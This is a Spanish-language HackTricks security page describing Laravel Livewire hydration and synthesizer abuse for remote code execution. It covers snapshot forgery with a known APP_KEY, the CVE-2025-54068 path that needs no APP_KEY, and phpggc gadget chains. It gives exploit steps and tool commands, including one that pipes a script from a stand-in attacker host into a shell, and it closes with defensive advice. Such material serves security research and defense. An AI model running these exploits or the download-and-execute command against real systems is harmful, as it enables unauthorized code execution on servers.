Laravel Livewire Hydration & Synthesizer Abuse
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen de la máquina de estado de Livewire
Los componentes de Livewire 3 intercambian su estado mediante snapshots que contienen data, memo y un checksum. Cada POST a /livewire/update rehidrata el snapshot JSON en el servidor y ejecuta las calls/updates en cola.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Cualquiera que posea APP_KEY (usada para derivar $hashKey) puede, por tanto, falsificar instantáneas arbitrarias recomputando el HMAC.
Las propiedades complejas se codifican como tuplas sintéticas detectadas por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tupla es [value, {"s":"<key>", ...meta}]. El núcleo de hidratación simplemente delega cada tupla al sintetizador seleccionado en HandleComponents::$propertySynthesizers y recorre los hijos:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Este diseño recursivo convierte a Livewire en un motor genérico de instanciación de objetos una vez que un attacker controla ya sea los metadatos de la tupla o cualquier tupla anidada procesada durante la recursión.
Synthesizers that grant gadget primitives
| Synthesizer | Comportamiento controlado por attacker |
|---|---|
CollectionSynth (clctn) | Instancia new $meta['class']($value) después de rehidratar cada elemento hijo. Cualquier clase con un constructor que acepte un array puede ser creada, y cada item puede a su vez ser una tupla sintética. |
FormObjectSynth (form) | Llama a new $meta['class']($component, $path), luego asigna cada propiedad pública desde los children controlados por attacker vía $hydrateChild. Los constructores que aceptan dos parámetros de tipo laxo (o argumentos por defecto) son suficientes para alcanzar propiedades públicas arbitrarias. |
ModelSynth (mdl) | Cuando key está ausente en meta ejecuta return new $class;, permitiendo la instanciación sin argumentos de cualquier clase bajo control del attacker. |
Porque los synths invocan $hydrateChild en cada elemento anidado, se pueden construir grafos de gadget arbitrarios apilando tuplas recursivamente.
Forjar snapshots cuando se conoce APP_KEY
- Captura una petición legítima a
/livewire/updatey decodificacomponents[0].snapshot. - Inyecta tuplas anidadas que apunten a clases gadget y recalcula
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Vuelve a codificar la snapshot, mantén
_token/memosin tocar, y reenvía la petición.
Una prueba mínima de ejecución usa Guzzle’s FnStream y Flysystem’s ShardedPrefixPublicUrlGenerator. Una tupla instancia FnStream con datos de constructor { "__toString": "phpinfo" }, la siguiente instancia ShardedPrefixPublicUrlGenerator con [FnStreamInstance] como $prefixes. Cuando Flysystem convierte cada prefix a string, PHP invoca el callable __toString proporcionado por el attacker, llamando a cualquier función sin argumentos.
Desde llamadas a funciones hasta RCE completo
Aprovechando los primitivos de instanciación de Livewire, Synacktiv adaptó la cadena Laravel/RCE4 de phpggc para que la hidratación arranque un objeto cuyo estado público Queueable desencadena la deserialización:
- Queueable trait – cualquier objeto que use
Illuminate\Bus\Queueableexpone$chainedpúblico y ejecutaunserialize(array_shift($this->chained))endispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) es instanciado víaCollectionSynth/FormObjectSynthcon$chainedpúblico poblado. - phpggc Laravel/RCE4Adapted – el blob serializado almacenado en
$chained[0]construyePendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finalmente llama acall_user_func_array($closure, $args)habilitandosystem($cmd). - Stealth termination – entregando un segundo callable
FnStreamcomo[new Laravel\Prompts\Terminal(), 'exit'], la petición termina conexit()en lugar de una excepción ruidosa, manteniendo la respuesta HTTP limpia.
Automatizando la falsificación de snapshots
synacktiv/laravel-crypto-killer ahora incluye un modo livewire que une todo:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
La herramienta analiza el snapshot capturado, inyecta los gadget tuples, recalcula el checksum e imprime un payload listo para enviar a /livewire/update.
CVE-2025-54068 – RCE sin APP_KEY
updates se fusionan en el estado del componente después de que se valide el checksum del snapshot. Si una propiedad dentro del snapshot es (o se convierte en) un synthetic tuple, Livewire reutiliza su meta mientras hidrata el valor de update controlado por el atacante:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Encuentra un componente de Livewire con una propiedad pública sin tipo (por ejemplo,
public $count;). - Envía una actualización que establezca esa propiedad en
[]. El siguiente snapshot la almacena como[[], {"s": "arr"}]. - Crea otro payload
updatesdonde esa propiedad contenga un array profundamente anidado que incluya tuplas como[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Durante la recursión,
hydrate()evalúa cada hijo anidado de forma independiente, por lo que las claves/clases synth elegidas por el atacante se respetan aunque la tupla externa y el checksum nunca cambiaran. - Reutiliza los mismos primitivos
CollectionSynth/FormObjectSynthpara instanciar un gadget Queueable cuyo$chained[0]contiene la carga útil phpggc. Livewire procesa las updates forjadas, invocadispatchNextJobInChain()y alcanzasystem(<cmd>)sin conocerAPP_KEY.
Key reasons this works:
updatesno están cubiertas por el checksum del snapshot.getMetaForPath()confía en cualquier metadata synth que ya existiera para esa propiedad, incluso si el atacante la forzó antes a convertirse en una tupla mediante weak typing.- La recursión más el weak typing permiten que cada array anidado se interprete como una tupla completamente nueva, por lo que claves synth arbitrarias y clases arbitrarias acaban llegando a la hydration.
Livepyre – explotación de extremo a extremo
Livepyre automatiza tanto la CVE que no requiere APP_KEY como la vía de signed-snapshot:
- Realiza fingerprinting de la versión de Livewire desplegada analizando
<script src="/livewire/livewire.js?id=HASH">y mapeando el hash a releases vulnerables. - Recoge snapshots base volviendo a reproducir acciones benignas y extrayendo
components[].snapshot. - Genera o bien un payload solo de
updates(CVE-2025-54068) o un snapshot forjado (APP_KEY conocido) que incrusta la cadena phpggc.
Uso típico:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check ejecuta una sonda no destructiva, -F omite la comprobación de versión, -H y -P añaden encabezados personalizados o proxies, y --function/--param personalizan la función php invocada por la gadget chain.
Defensive considerations
- Actualice a versiones de Livewire corregidas (>= 3.6.4 según el boletín del proveedor) e implemente el parche del proveedor para CVE-2025-54068.
- Evite propiedades públicas débilmente tipadas en componentes Livewire; los tipos escalares explícitos impiden que los valores de las propiedades sean coaccionados a arrays/tuples.
- Registre solo los sintetizadores que realmente necesite y trate los metadatos controlados por el usuario (
$meta['class']) como no confiables. - Rechace actualizaciones que cambien el tipo JSON de una propiedad (p. ej., scalar -> array) a menos que esté explícitamente permitido, y vuelva a derivar los metadatos de sintetizador en lugar de reutilizar tuplas obsoletas.
- Rotee
APP_KEYrápidamente tras cualquier divulgación porque permite la falsificación offline de snapshots sin importar qué tan parchado esté el código.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


